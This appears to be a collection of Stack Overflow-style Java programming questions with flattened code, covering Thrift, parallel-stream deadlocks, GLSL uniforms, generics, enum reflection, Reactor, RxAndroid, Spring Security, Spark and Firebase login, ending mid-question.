self.protocol ) self.transport.open ( ) def send ( self , routingKey , message ) : self.transport.write ( pickle.dumps ( self.client.send_send ( routingKey , message ) ) ) def configClient ( self , configurationDict ) : self.transport.write ( pickle.dumps ( self.client.send_ClientConfig ( configurationDict ) ) ) if __name__ == `` __main__ '' : SuroClient=SuroPyClient ( ) configurationDict= { `` ClientConfig.LB_TYPE '' : '' static '' , '' ClientConfig.LB_SERVER '' : '' localhost:7101 '' } SuroClient.configClient ( configurationDict ) SuroClient.send ( `` routingKey '' , `` testMessage '' ) public static void startThriftServer ( SendPyInterface.Processor processor ) { try { File input = new File ( `` src/main/java/com/netflix/suro/client/ThriftFile.in '' ) ; if ( ! input.exists ( ) ) { input.createNewFile ( ) ; } File output = new File ( `` src/main/java/com/netflix/suro/client/ThriftFile.out '' ) ; if ( ! output.exists ( ) ) { output.createNewFile ( ) ; } TFileTransport inputFileTransport = new TFileTransport ( input.getAbsolutePath ( ) , true ) ; TFileTransport outputFileTransport = new TFileTransport ( output.getAbsolutePath ( ) , false ) ; System.out.println ( input.getAbsolutePath ( ) ) ; System.out.println ( input.length ( ) ) ; inputFileTransport.open ( ) ; outputFileTransport.open ( ) ; System.out.println ( inputFileTransport.getBytesRemainingInBuffer ( ) ) ; inputFileTransport.setTailPolicy ( tailPolicy.WAIT_FOREVER ) ; System.out.println ( `` Wait ... '' ) ; System.out.println ( inputFileTransport.getBuffer ( ) ) ; TFileProcessor fProcessor = new TFileProcessor ( processor , new TJSONProtocol.Factory ( ) , inputFileTransport , outputFileTransport ) ; try { fProcessor.processChunk ( ) ; } catch ( TTransportException e ) { e.printStackTrace ( ) ; } System.out.println ( `` File Thrift service started ... '' ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; }",Trying to get a Python client talk to a Java Server using thrift 's TFileTransport and TFileProcessor +Java,"CAUTION : it is not a duplicate , please read topic сarefullyhttps : //stackoverflow.com/users/3448419/apangin quote : The real question is why the code sometimes works when it should not . The issue reproduces even without lambdas . This makes me think there might be a JVM bug.In the comments of https : //stackoverflow.com/a/53709217/2674303 I tried to find out reasons why code behaves differently from one start to another and participants of that discussion made me piece of of advice to create a separated topic.Let 's consider following source code : Sometimes ( almost always ) it leads to deadlock.Example of output : But sometimes it finishes successfully ( very rare ) : or Could you explain that behaviour ?","public class Test { static { System.out.println ( `` static initializer : `` + Thread.currentThread ( ) .getName ( ) ) ; final long SUM = IntStream.range ( 0 , 5 ) .parallel ( ) .mapToObj ( i - > { System.out.println ( `` map : `` + Thread.currentThread ( ) .getName ( ) + `` `` + i ) ; return i ; } ) .sum ( ) ; } public static void main ( String [ ] args ) { System.out.println ( `` Finished '' ) ; } } static initializer : mainmap : main 2map : ForkJoinPool.commonPool-worker-3 4map : ForkJoinPool.commonPool-worker-3 3map : ForkJoinPool.commonPool-worker-2 0 static initializer : mainmap : main 2map : main 3map : ForkJoinPool.commonPool-worker-2 4map : ForkJoinPool.commonPool-worker-1 1map : ForkJoinPool.commonPool-worker-3 0Finished static initializer : mainmap : main 2map : ForkJoinPool.commonPool-worker-2 0map : ForkJoinPool.commonPool-worker-1 1map : ForkJoinPool.commonPool-worker-3 4map : main 3",Why using parallel streams in static initializer leads to not stable deadlock +Java,"I am attempting to bind the uniform variables to a certain location , but I currently ca n't work out how : To bind attributes ( so for example vertex/normal data ) , I use the following code : I would like to do the same sort of thing for uniform variables.Currently , I am getting the automatically-assigned locations like this : However , since I am then binding the attributes , this is , at best , resulting in the loss of data such as lighting and normals , and at worst , is crashing the game for about 60 % of people who try to play it .","Overrideprotected void bindAttributes ( ) { super.bindAttribute ( 1 , `` position '' ) ; super.bindAttribute ( 2 , `` textureCoords '' ) ; super.bindAttribute ( 3 , `` normal '' ) ; } protected void bindAttribute ( int attribute , String variableName ) { GL20.glBindAttribLocation ( programID , attribute , variableName ) ; } public int location_transformationMatrix ; public int location_lightPosition ; public int location_lightColour ; @ Overridepublic void getAllUniformLocations ( ) { location_transformationMatrix = super.getUniformLocation ( `` transformationMatrix '' ) ; location_lightPosition = super.getUniformLocation ( `` lightPosition '' ) ; location_lightColour = super.getUniformLocation ( `` lightColour '' ) ; }",How do I bind uniform locations in GLSL ? +Java,"Can you please explain why checked exceptions have to be caught from within lambda expressions ? In other words , why does the following code not compile ... but this one will ? It seems like the callee now has to handle any checked exceptions that are thrown and not the caller .","public void doSomething ( ObjectInputStream istream ) throws IOException { // The read method throws an IOException . IntStream.range ( 0 , 10 ) .forEach ( i - > someList.add ( read ( istream ) ) ) ; } public void doSomething ( ObjectInputStream istream ) throws IOException { IntStream.range ( 0 , 10 ) .forEach ( i - > { try { // The read method throws an IOException . someList.add ( read ( istream ) ) ; } catch ( IOException ioe ) { // Callee has to handle checked exception , not caller . } } ) ; }",Checked exceptions thrown from within lambda expressions +Java,"I just read about this Java 9 feature https : //bugs.openjdk.java.net/browse/JDK-8085796 saying that the 'slow ' String concatenation using StringBuilder will be improved.So my question is , whether there are still any downsides of doing int to String casts the following way ? Or are there any pros/cons of casting int to String using Integer.toString ( i ) or String.valueOf ( i ) ? Edit : Since my question was too opinion based ( sry for that ) I changed it . I am interested in positive or negative sides of the different castings . And everyone should decide for themself which one to use .",int i = 16 ; String s = `` '' +i ;,Java 9 integer to String cast +Java,"I 'm learning Java 8 - Java 11 and I got a code that I 'm converting to java-streams . I have the following classes : I have a stream of Resources and I want to extract all its capabilities attributes from two different namespaces ( `` a '' , `` b '' ) to a Map < Resource , Map < String , Object > > that I have sure that do not have duplicates keys.I did many attempts using map , flatMap but with those , I ca n't keep a reference of the main resource object . Using the new feature of java9 I could progress , but I 'm stuck on the code below where I was able to return all attributes , but in a set . I was not able yet to filter by a capability namespace and also put them in a map : Seems that I 'm on the right path .","class Resource { List < Capability > capabilities ; } class Capability { String namespace ; Map < String , Object > attributes ; } Map < Resource , Set < Object > > result = pResolved.stream ( ) .collect ( groupingBy ( t - > t , flatMapping ( resource - > resource.getCapabilities ( null ) .stream ( ) , flatMapping ( cap - > cap.getAttributes ( ) .entrySet ( ) .stream ( ) , toSet ( ) ) ) ) ) ;",Using streams to group Map attributes from inner objects ? +Java,Are following two signatures same ? and,"public static < T > void work ( Class < T > type , T instance ) ; public static < T , S extends T > void work ( Class < T > type , S instance ) ;",java generics bounds type +Java,"I 've identified what is at least undesirable behavior and at most a bug in the Sun JDK 's handling of reflection on Java enums with an abstract method . I 've searched for a bug report and StackOverflow answer for this particular behavior and come up dry . You 're more or less always wrong when you think you 've found an issue like this in such well-used and carefully-tested code , so please sanity check me and tell me where I 've gotten this wrong.The CodeConsider the following code : a/Greeting.javab/EnumTest.javaAlso , please note that Greeting and EnumTest are in different packages . ( This ends up mattering . ) The ErrorWhen you run this code , you expect to get the following output : Instead , you get the following output : Understanding the BehaviorFirst , please note that Greeting is public and Greeting $ greet is public . ( Even the error message indicates public access ! ) So what 's going on ? What The Heck is Going On Here ? If you step through the code , you find that the ultimate `` problem '' is that sun.reflect.Reflection $ verifyMemberAccess ( ) returns false . ( So , the Reflection API claims we do not have access to this method . ) The particular code that fails is here : Essentially , this method determines whether code in currentClass can see members of memberClass with modifiers of modifiers.Clearly , we should have access . We 're calling a public method in a public class ! However , this code returns false , in the indicated return statement . Therefore , the class of the value we 're trying to invoke the method on is not public . ( We know this because the outer test -- ! Modifier.isPublic ( getClassAccessFlags ( memberClass ) ) -- passes , since the code reaches the inner return . ) But Greeting is public ! However , the type of Greeting.HELLO is not a.Greeting . It 's a.Greeting $ 1 ! ( As careful readers will have noticed above . ) enum classes with one or more abstract methods create child classes under the covers ( one for each constant ) . So what 's happening is that the `` under the covers '' child classes are not marked public , so we 're not allowed to see public methods on those classes . Bummer.Confirmation of the TheoryTo test this theory , we can invoke the superclass enum 's greet ( ) method on the child instead : ... and meet with success : Also , if we move a.Greeting to b.Greeting ( the same package as b.EnumTest ) , that works too , even without the getSuperclass ( ) call.So ... Bug or No ? So ... is this a bug ? Or is this simply undesired behavior that is an artifact of the underlying implementation ? I checked the relevant section of the Java Language Specification and this syntax is legal . Also , the specification does n't specify how child classes will be arranged , so while this technically in violation of the standard ( or at least the part of the standard I read ) , I 'm inclined to call this a bug.What does StackOverflow think : is this a bug , or simply undesired behavior ? I realize this is a bit of an unconventional question , so please forgive the format.Also , I 'm on a Mac ( in case that matters ) , and java -version prints the following , for anyone who wants to reproduce : EDIT : Interesting to find a bug open for an similar ( at least related ) issue since 1997 : http : //bugs.sun.com/bugdatabase/view_bug.do ? bug_id=4071957EDIT : Per the answer below , the JLS does say that enum classes with an abstract method shall behave like anonymous classes : The optional class body of an enum constant implicitly defines an anonymous class declaration ( §15.9.5 ) that extends the immediately enclosing enum type . The class body is governed by the usual rules of anonymous classesPer the bug above , anonymous class handling has been a `` bug '' since 1997 . So with respect to whether this is actually a bug or not is a bit semantic at this point . Bottom line : do n't do this , since it does n't work and it 's not likely to in the future . : )","package a ; public enum Greeting { HELLO { @ Override public void greet ( ) { System.out.println ( `` Hello ! `` ) ; } } ; public abstract void greet ( ) ; } package b ; import java.lang.reflect.Method ; import a.Greeting ; public class EnumTest { public static void main ( String [ ] args ) throws Exception { Greeting g=Greeting.HELLO ; Method greet=g.getClass ( ) .getMethod ( `` greet '' ) ; System.out.println ( `` Greeting `` +g.getClass ( ) + '' ... '' ) ; greet.invoke ( g ) ; System.out.println ( `` Greeted ! `` ) ; } } Greeting class a.Greeting ... Hello ! Greeted ! Greeting class a.Greeting $ 1 ... Exception in thread `` main '' java.lang.IllegalAccessException : Class b.EnumTest can not access a member of class a.Greeting $ 1 with modifiers `` public '' at sun.reflect.Reflection.ensureMemberAccess ( Reflection.java:95 ) at java.lang.reflect.AccessibleObject.slowCheckMemberAccess ( AccessibleObject.java:261 ) at java.lang.reflect.AccessibleObject.checkAccess ( AccessibleObject.java:253 ) at java.lang.reflect.Method.invoke ( Method.java:594 ) at b.EnumTest.main ( EnumTest.java:13 ) public static boolean verifyMemberAccess ( Class currentClass , // Declaring class of field // or method Class memberClass , // May be NULL in case of statics Object target , int modifiers ) // ... if ( ! Modifier.isPublic ( getClassAccessFlags ( memberClass ) ) ) { isSameClassPackage = isSameClassPackage ( currentClass , memberClass ) ; gotIsSameClassPackage = true ; if ( ! isSameClassPackage ) { return false ; } } // ... public static void main ( String [ ] args ) throws Exception { Greeting g=Greeting.HELLO ; Method greet=g.getClass ( ) .getSuperclass ( ) .getMethod ( `` greet '' ) ; System.out.println ( `` Greeting `` +g.getClass ( ) + '' ... '' ) ; greet.invoke ( g ) ; System.out.println ( `` Greeted ! `` ) ; } Greeting class a.Greeting $ 1 ... Hello ! Greeted ! $ java -versionjava version `` 1.7.0_21 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_21-b12 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 23.21-b01 , mixed mode )",Possible bug in sun.reflect.Reflection handling of abstract enums ? +Java,"I 'm trying to use Flux.buffer ( ) to batch up loads from a database.The use case is that loading records from a DB may be 'bursty ' , and I 'd like to introduce a small buffer to group together loads where possible.My conceptual approach has been to use some form of processor , publish to it 's sink , let that buffer , and then subscribe & filter for the result I want.I 've tried multiple different approaches ( different types of processors , creating the filtered Mono in different ways ) .Below is where I 've gotten so far - largely by stumbling.Currently , this returns a single result , but subsequent calls are dropped ( though I 'm unsure of where ) .","class BatchLoadingRepository { // I 've tried all manner of different processors here . I 'm unsure if // TopicProcessor is the correct one to use . private val bufferPublisher = TopicProcessor.create < String > ( ) private val resultsStream = bufferPublisher .bufferTimeout ( 50 , Duration.ofMillis ( 50 ) ) // I 'm unsure if concatMapIterable is the correct operator here , // but it seems to work . // I 'm really trying to turn the List < MyEntity > // into a stream of MyEntity , published on the Flux < > .concatMapIterable { requestedIds - > // this is a Spring Data repository . It returns List < MyEntity > repository.findAllById ( requestedIds ) } // Multiple callers will invoke this method , and then subscribe to receive // their entity back . fun findByIdAsync ( id : String ) : Mono < MyEntity > { // Is there a potential race condition here , caused by a result // on the resultsStream , before I 've subscribed ? return Mono.create < MyEntity > { sink - > bufferPublisher.sink ( ) .next ( id ) resultsStream.filter { it.id == id } .subscribe { next - > sink.success ( next ) } } } }",Using reactor 's Flux.buffer to batch work only works for single item +Java,"I am trying to understand the usage of lower bound wildcards in some depth . I am trying to write a generic method copy which copies the contents of one List to another . I came up with this method signature : I think this signature is comprehensive to address all scenarios . However , I see that in the Java Collections class the method signature is like this : I do not understand why they use List < ? super T > dest instead of just List < T > dest . Is there some extra flexibility with their signature ?","< T > void copy ( List < T > dest , List < ? extends T > src ) < T > void copy ( List < ? super T > dest , List < ? extends T > src )",On Java generics lower bound usage : ? super T +Java,"Is it possible to count the number of columns in a CSV file using BeanListProcessor ? My goal is to verify that the number of headers is equal to the number of values in the CSV file.I have tried this solution : what is the fastest way to get dimensions of a csv file in javaBut this only applies to a RowProcessor , and I 'm using the BeanListProcessor ; I tried overriding the method of RowProcessor in BeanProcess but it is declared final.Is there any other way of validating CSV files with univocity ?",BeanListProcessor < SomeObject > rowProcessor = new BeanListProcessor < SomeObject > ( SomeObject.class ) ;,Parsing CSV : Count the number of columns using Univocity with bean processor +Java,"Given the following program : Compiling this gives me an error saying that `` int can not be dereferenced '' . The reason is obvious , but how should one handle situations like this . It is especially relevant in code-generation scenarios , where one can not know what user code is intertwined with generated code . In C # I would just use the `` global : : '' namespace specifier before `` java.lang '' , but what do you do in Java ?",class A { static int java = 42 ; static int System = -1 ; public static void main ( String [ ] args ) { java.lang.System.out.println ( `` Foo '' ) ; } },Java global namespace access +Java,"When I use RxAndroid and .observeOn ( AndroidSchedulers.mainThread ( ) ) , and run tests on an emulator using Android Studio , the whole test run crashes with : Instrumentation run failed due to 'java.lang.NoSuchMethodError'and logcat output like the following : Neither Android Studio nor the logcat output mention any lines of code in my project or my tests . Here are some relevant parts of a short example project I created that reproduces this crash : app/build.gradleMainActivity.javaMainActivityFuncTest.javaMy test runs correctly if I modify my MainActivity code to not use observeOn ( ) : But I 'd rather use observeOn ( ) , because it 's cleaner and more modular . How can I get my tests to run ? My emulator is running API version 8 ( Android 2.2 ) .","FATAL EXCEPTION : mainjava.lang.IllegalStateException : Fatal Exception thrown on Scheduler.Worker thread . at rx.internal.schedulers.ScheduledAction.run ( ScheduledAction.java:54 ) at android.os.Handler.handleCallback ( Handler.java:587 ) at android.os.Handler.dispatchMessage ( Handler.java:92 ) at android.os.Looper.loop ( Looper.java:123 ) at android.app.ActivityThread.main ( ActivityThread.java:4627 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:521 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:868 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:626 ) at dalvik.system.NativeStart.main ( Native Method ) Caused by : java.lang.NoSuchMethodError : rx.internal.schedulers.ScheduledAction.lazySet at rx.internal.schedulers.ScheduledAction.run ( ScheduledAction.java:46 ) ... 9 moreError in app net.tbmcv.rxtest running instrumentation ComponentInfo { net.tbmcv.rxtest.test/android.test.InstrumentationTestRunner } : java.lang.NoSuchMethodError java.lang.NoSuchMethodError : rx.internal.schedulers.ScheduledAction.lazySetForce stopping package net.tbmcv.rxtest uid=10042 dependencies { compile 'io.reactivex : rxandroid:0.24.0 ' } public class MainActivity extends Activity { public void setTitleFrom ( Observable < String > observable ) { observable.observeOn ( AndroidSchedulers.mainThread ( ) ) .subscribe ( new Action1 < String > ( ) { @ Override public void call ( String s ) { setTitle ( s ) ; } } ) ; } } public class MainActivityFuncTest extends ActivityInstrumentationTestCase2 < MainActivity > { public void testSetTitle ( ) { final String newTitle = `` Hello World '' ; getActivity ( ) .setTitleFrom ( Observable.just ( newTitle ) ) ; getInstrumentation ( ) .waitForIdleSync ( ) ; assertEquals ( newTitle , getActivity ( ) .getTitle ( ) ) ; } } public void setTitleFrom ( Observable < String > observable ) { observable.subscribe ( new Action1 < String > ( ) { @ Override public void call ( final String s ) { runOnUiThread ( new Runnable ( ) { @ Override public void run ( ) { setTitle ( s ) ; } } ) ; } } ) ; }",Using observeOn ( ) the Android UI thread crashes my emulator testing +Java,"I have an unusual problem.I have a function , operation in this function can be done by two threads at a time.What i am trying to do is , i want to allow only two threads to do some operation , and other threads must wait.But here first two threads increment the count and does the operation and other threads go for an wait state but do not get the notification.I guess i am overlooking something .",static int iCount = 1 ; public synchronized void myFunct ( ) { while ( iCount > = 3 ) { try { wait ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } iCount++ ; //Do Stuffs //After operation decrement count iCount -- ; notifyAll ( ) ; },Allowing only two thread to operate on a function +Java,"I 've been doing some work with Android 's Canvas , specifically trying to determine how its getClipBounds results are determined . I understand Canvas internally keeps a transform Matrix which is updated as I call translate , scale , etc . but trying to replicate that Matrix 's results has baffled me.originalViewport is set to 0 , 0 , canvas.getWidth ( ) , canvas.getHeight ( ) . Translate and Scale are called from gesture event handlers , which are working correctly.The part that confuses me is viewportMatrix . It does n't seem to matter whether I dooror even a one-time call toat the beginning followed by side-by-side Translate/Scale calls to the two matrixes . I 've even tried completely ignoring the Canvas 's built-in Matrix and rewriting GetViewport asI can never seem to match getClipBounds ( ) , and the discrepancies are fairly serious : with viewportMatrix.set ( canvas.getMatrix ) : clipBounds : Rect ( -97 , -97 - 602 , 452 ) ( 699 , 549 ) viewport : RectF ( 97.04178 , 97.06036 , 797.04175 , 647.06036 ) ( 700.0 , 550.0 ) with viewportMatrix.preConcat ( canvas.getMatrix ) : clipBounds : Rect ( -97 , -96 - 602 , 453 ) ( 699 , 549 ) viewport : RectF ( 2708.9663 , 2722.2754 , 3408.9663 , 3272.2754 ) ( 700.0 , 550.0 ) with translationMatrix.mapRect : clipBounds : Rect ( -96 , -96 - 603 , 453 ) ( 699 , 549 ) viewport : RectF ( 96.73213 , 96.85794 , 796.7321 , 646.8579 ) ( 700.0 , 550.0 ) with a one-shot call to viewportMatrix.preConcat ( canvas.getMatrix ( ) ) followed by side-by-side Translate/Scale calls : clipBounds : Rect ( -96 , -97 - 603 , 452 ) ( 699 , 549 ) viewport : RectF ( 96.57738 , 97.78168 , 796.5774 , 647.7817 ) ( 700.0 , 550.0 ) with a one-shot call to viewportMatrix.set ( canvas.getMatrix ( ) ) followed by side-by-side Translate/Scale calls : clipBounds : Rect ( -96 , -96 - 603 , 453 ) ( 699 , 549 ) viewport : RectF ( 96.40051 , 96.88153 , 796.4005 , 646.88153 ) ( 700.0 , 550.0 ) I ca n't even check the Canvas source , as all the Matrix code vanishes into private native calls whose code is n't shown.Why are my GetViewport calls so grossly off , and what 's going on behind-the-scenes with getClipBounds ?","@ Overridepublic void onDraw ( Canvas canvas ) { Rect clipBounds ; RectF viewport ; canvas.save ( ) ; canvas.concat ( translationMatrix ) ; //viewportMatrix.preConcat ( canvas.getMatrix ( ) ) ; viewportMatrix.set ( canvas.getMatrix ( ) ) ; clipBounds = canvas.getClipBounds ( ) ; viewport = GetViewport ( ) ; Log.d ( `` clipBounds '' , clipBounds.toString ( ) + `` ( `` + clipBounds.width ( ) + `` , `` + clipBounds.height ( ) + `` ) '' ) ; Log.d ( `` viewport '' , viewport.toString ( ) + `` ( `` + viewport.width ( ) + `` , `` + viewport.height ( ) + `` ) '' ) ; //drawing is done here canvas.restore ( ) ; } //viewport code modeled after http : //stackoverflow.com/a/17142856/2245528private RectF GetViewport ( ) { RectF viewport = new RectF ( ) ; viewportMatrix.mapRect ( viewport , originalViewport ) ; return viewport ; } private void Translate ( float x , float y ) { translationMatrix.postTranslate ( x , y ) ; invalidate ( ) ; } private void Scale ( float scaleFactor , PointF focusPoint ) { if ( focusPoint == null ) { translationMatrix.postScale ( scaleFactor , scaleFactor ) ; } //keep the focus point in focus if possible else { translationMatrix.postScale ( scaleFactor , scaleFactor , focusPoint.x , focusPoint.y ) ; } invalidate ( ) ; } private final Matrix translationMatrix = new Matrix ( ) ; private final RectF originalViewport = new RectF ( ) ; private final Matrix viewportMatrix = new Matrix ( ) ; viewportMatrix.set ( canvas.getMatrix ( ) ) ; viewportMatrix.preConcat ( canvas.getMatrix ( ) ) ; viewportMatrix.set ( canvas.getMatrix ( ) ) ; //viewport code modeled after http : //stackoverflow.com/a/17142856/2245528private RectF GetViewport ( ) { RectF viewport = new RectF ( ) ; translationMatrix.mapRect ( viewport , originalViewport ) ; return viewport ; }",How does Canvas determine its clip bounds ? +Java,"I want to make sure that I am not creating any memory leaks when I use RxJava . Please let me know if these are the proper ways to handle each case ... CASE 1if I create an Observable and a Subscription in the same scope , the GC would take care of disposing them right ? Do I have to call unsubscribe ( ) here ? CASE 2But what about an infinite observable and a temporary subscriber ? Say I have a GUI that subscribes to an infinite Observable . But when the GUI gets destroyed , do I have to explicitly unsubscribe the Subscriber ?","public static void createObservableAndSubscribe ( ) { Observable < Integer > source = Observable.just ( 1,6,3,2,562,4,6 ) ; Subscription sub = source.subscribe ( i - > System.out.println ( i ) ) ; sub.unsubscribe ( ) ; //unnecessary I assume ? GC should take care of it ? } public void attachSubscriber ( Observable < Integer > infiniteObservable ) { Subscription sub = infiniteObservable.subscribe ( i - > countLabel.setText ( i.toString ( ) ) ; //do stuff , have this subscription persist for the life of a GUI sub.unsubscribe ( ) ; //must I do this when the GUI is destroyed ? }",RxJava- When should I be concerned with unsubscribing ? +Java,"I 'm trying to login a user to a webpage , where credentials are stored in mongodb.I 'm using spring boot and was n't aware of spring security features.That 's why I ended up , using the following controller code , which works : handler : After realizing that that servlet filters etc . are relatively easy to setup with spring-security , I had changed my code , so I ended up with this : Config : SecurityWebInit : UserAuthenticationService : AuthenticatedUser - model : Modified controller : Template : All of the provided code , is more less clustered together from another tutorials and examples . When I authenticate via form-based login , it actually works . But after I have been logged in , when I navigate to localhost:8080/ < anyRestrictedUrl > it still redirects me to login form.I also placed some log.debug ( .. ) inside of UserAuthenticationService , but I ca n't see any of them at all.. In most other examples , I ca n't even see the basic controller method mapped to \login , but I think this is because of spring doing this 4 me behind the scenes ? ! Please note , that I not using any authorities and / or roles , as that is n't modeled in db , yet . Is this a must have , when using spring security , as most of the examples include roles and authorities.Edit : ( Relevant parts of pom.xml ) : Update : ( Things I 've tried on above mentioned code ) :1 ) Setting other session policy : ( not working ) 2 ) Replacing @ Override with @ Autowired annotation ( got that from another SO post - not working ) :","@ RequestMapping ( `` /auth '' ) String auth ( @ ModelAttribute ( `` credential '' ) Credential credential ) throws AuthenticationFailedException { handler.authenticateUser ( credential ) ; log.debug ( `` user : `` + credential.getUsername ( ) + `` authenticated successfully via /auth '' ) ; return `` main '' ; } @ Autowiredprivate UserRepository repository ; public boolean authenticateUser ( Credential credential ) throws AuthenticationFailedException { User authenticatedUser = repository.findByCredentialUsername ( credential.getUsername ( ) ) ; if ( authenticatedUser == null ) throw new AuthenticationFailedException ( `` cant find any user with name : `` + credential.getUsername ( ) ) ; boolean matches = EncryptionUtils.matchEncryptedPassword ( credential.getPassword ( ) , authenticatedUser ) ; if ( ! matches ) throw new AuthenticationFailedException ( `` provided password is not matching password stored in database '' ) ; return matches ; } @ Configuration @ EnableWebSecuritypublic class SecurityConfig extends WebSecurityConfigurerAdapter { @ Autowired UserAuthenticationService userAuthService ; @ Bean public DaoAuthenticationProvider daoAuthenticationProvider ( ) { DaoAuthenticationProvider provider = new DaoAuthenticationProvider ( ) ; provider.setUserDetailsService ( userAuthService ) ; provider.setPasswordEncoder ( new BCryptPasswordEncoder ( ) ) ; return provider ; } @ Override protected void configure ( HttpSecurity http ) throws Exception { http.userDetailsService ( userAuthService ) .authorizeRequests ( ) .antMatchers ( `` /register '' , `` / '' , `` /css/** '' , `` /images/** '' , `` /js/** '' , `` /login '' ) .permitAll ( ) .anyRequest ( ) .authenticated ( ) .and ( ) . formLogin ( ) .loginPage ( `` / '' ) .and ( ) .sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.STATELESS ) .and ( ) .csrf ( ) .disable ( ) ; } @ Override protected void configure ( AuthenticationManagerBuilder auth ) throws Exception { auth.authenticationProvider ( daoAuthenticationProvider ( ) ) ; } public class SecurityWebInit extends AbstractSecurityWebApplicationInitializer { public SecurityWebInit ( ) { super ( SecurityConfig.class ) ; } } @ Componentpublic class UserAuthenticationService implements UserDetailsService { private static final Logger log = Logger.getLogger ( UserAuthenticationService.class ) ; @ Autowired private UserRepository repository ; @ Override public UserDetails loadUserByUsername ( String username ) throws UsernameNotFoundException { User user = repository.findByCredentialUsername ( username ) ; log.debug ( `` called user auth service.. '' ) ; if ( user == null ) throw new UsernameNotFoundException ( `` username : '' +username+ '' not found . `` ) ; else { AuthenticatedUser authUser = new AuthenticatedUser ( user ) ; return authUser ; } } } public class AuthenticatedUser implements UserDetails { private User user ; // user is my own model , not of spring-framework private static final Logger log = Logger.getLogger ( AuthenticatedUser.class ) ; public AuthenticatedUser ( User user ) { this.user = user ; } .. //rest of interface impl . ( any method returns true ) //no roles or authorities modeled , yet @ Override public Collection < ? extends GrantedAuthority > getAuthorities ( ) { return null ; } @ RequestMapping ( method=RequestMethod.POST , value= '' /login '' ) String auth2 ( @ RequestParam ( `` username '' ) String username , @ RequestParam ( `` password '' ) String password ) throws AuthenticationFailedException { Credential cred = new Credential ( ) ; cred.setUsername ( username ) ; cred.setPassword ( password ) ; handler.authenticateUser ( cred ) ; log.debug ( `` user : `` + cred.getUsername ( ) + `` authenticated successfully via /login '' ) ; return `` main '' ; } < form method= '' post '' action= '' /login '' th : object= '' $ { credential } '' > < div class= '' form-group '' > < input type= '' email '' th : field= '' * { username } '' class= '' form-control '' id= '' username '' placeholder= '' Username/Email '' / > < /div > < div class= '' form-group '' > < input type= '' password '' th : field= '' * { password } '' class= '' form-control '' id= '' password '' placeholder= '' Password '' / > < /div > < button type= '' submit '' class= '' btn btn-default login-button '' > Submit < /button > < /form > < parent > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-parent < /artifactId > < version > 1.3.3.RELEASE < /version > < relativePath / > < /parent > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter < /artifactId > < /dependency > < dependency > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-thymeleaf < /artifactId > < /dependency > < dependency > < groupId > org.springframework.security < /groupId > < artifactId > spring-security-crypto < /artifactId > < /dependency > < dependency > < groupId > org.springframework.security < /groupId > < artifactId > spring-security-core < /artifactId > < /dependency > < dependency > < groupId > org.springframework.security < /groupId > < artifactId > spring-security-config < /artifactId > < /dependency > < dependency > < groupId > org.springframework.security < /groupId > < artifactId > spring-security-web < /artifactId > < /dependency > < dependency > < groupId > org.springframework.security < /groupId > < artifactId > spring-security-taglibs < /artifactId > < /dependency > http.userDetailsService ( userAuthService ) .authorizeRequests ( ) .antMatchers ( `` /register '' , `` / '' , `` /css/** '' , `` /images/** '' , `` /js/** '' , `` /login '' ) .permitAll ( ) .anyRequest ( ) .authenticated ( ) .and ( ) . formLogin ( ) .loginPage ( `` / '' ) .and ( ) .sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.ALWAYS ) .and ( ) .csrf ( ) .disable ( ) ; @ Autowiredprotected void configure ( AuthenticationManagerBuilder auth ) throws Exception { auth.authenticationProvider ( daoAuthenticationProvider ( ) ) ; }",Confusion with Spring Security-based authentication with mongo backed db +Java,"I have above code as Spark driver , when I execute my program it works properly saving required data as Parquet file.But I observed my mapper function on RDD indexData is getting executed twice.first , when I read jsonStringRdd as DataFrame using SQLContextSecond , when I write the dataSchemaDF to the parquet fileCan you guide me on this , how to avoid this repeated execution ? Is there any other better way of converting JSON string into a Dataframe ?","String indexFile = `` index.txt '' ; JavaRDD < String > indexData = sc.textFile ( indexFile ) .cache ( ) ; JavaRDD < String > jsonStringRDD = indexData.map ( new Function < String , String > ( ) { @ Override public String call ( String patientId ) throws Exception { return `` json array as string '' } } ) ; //1 . Read json string array into a Dataframe ( execution 1 ) DataFrame dataSchemaDF = sqlContext.read ( ) .json ( jsonStringRDD ) ; //2 . Save dataframe as parquet file ( execution 2 ) dataSchemaDF.write ( ) .parquet ( `` md.parquet '' ) ;",Spark Java Map function is getting executed twice +Java,"I was wondering is there any easy way to implement the tracking of changes in the entities ? There is Envers from Hibernate to have an audit , but as far as I understood it 's Hibernate oriented . I am thinking if there is something inside JPA , or a solution which does not get outside of the spec.If there is n't made any , could somebody maybe throw me an idea how to get started with this kind of thing . One idea which comes to me is to create an entity for example : Which would contain the changed properties . This solution seems to be quite efficient in terms of storage place , but it could be more difficult to handle relations between entities which are tracked ( did not figured it out yet ) .I greatly appreciate any input in this topic , Kind regards , P .",class Change { String className ; long id ; String fieldName ; String fieldValue ; Date dateOfChange ; },JPA : Ideas to track the evolution/changes of the entities +Java,While Registering an account using Firebase auth I stored emails in 2 categories Teacher and Student . I add emails to Firestore 2 different categories Teacher and Student with email and password . When I login I want to check that email belongs to which category ( Teacher or Student ) how can I do that I tried the firestore query isequalsto but it did n't differentiate.Here is my databaseTeacherStudentAny other possible solution ? here is my code for login activity,"package com.example.dell.step ; import android.app.ProgressDialog ; import android.content.Intent ; import android.os.Bundle ; import android.support.annotation.NonNull ; import android.support.v7.app.AppCompatActivity ; import android.support.v7.widget.Toolbar ; import android.text.TextUtils ; import android.view.View ; import android.widget.Button ; import android.widget.EditText ; import android.widget.Toast ; import com.google.android.gms.tasks.OnCompleteListener ; import com.google.android.gms.tasks.OnSuccessListener ; import com.google.android.gms.tasks.Task ; import com.google.firebase.auth.AuthResult ; import com.google.firebase.auth.FirebaseAuth ; import com.google.firebase.firestore.CollectionReference ; import com.google.firebase.firestore.FirebaseFirestore ; import com.google.firebase.firestore.QuerySnapshot ; public class LoginActivity extends AppCompatActivity { private Button mRegbtn ; private Button mloginbtn ; private EditText mEmail ; private EditText 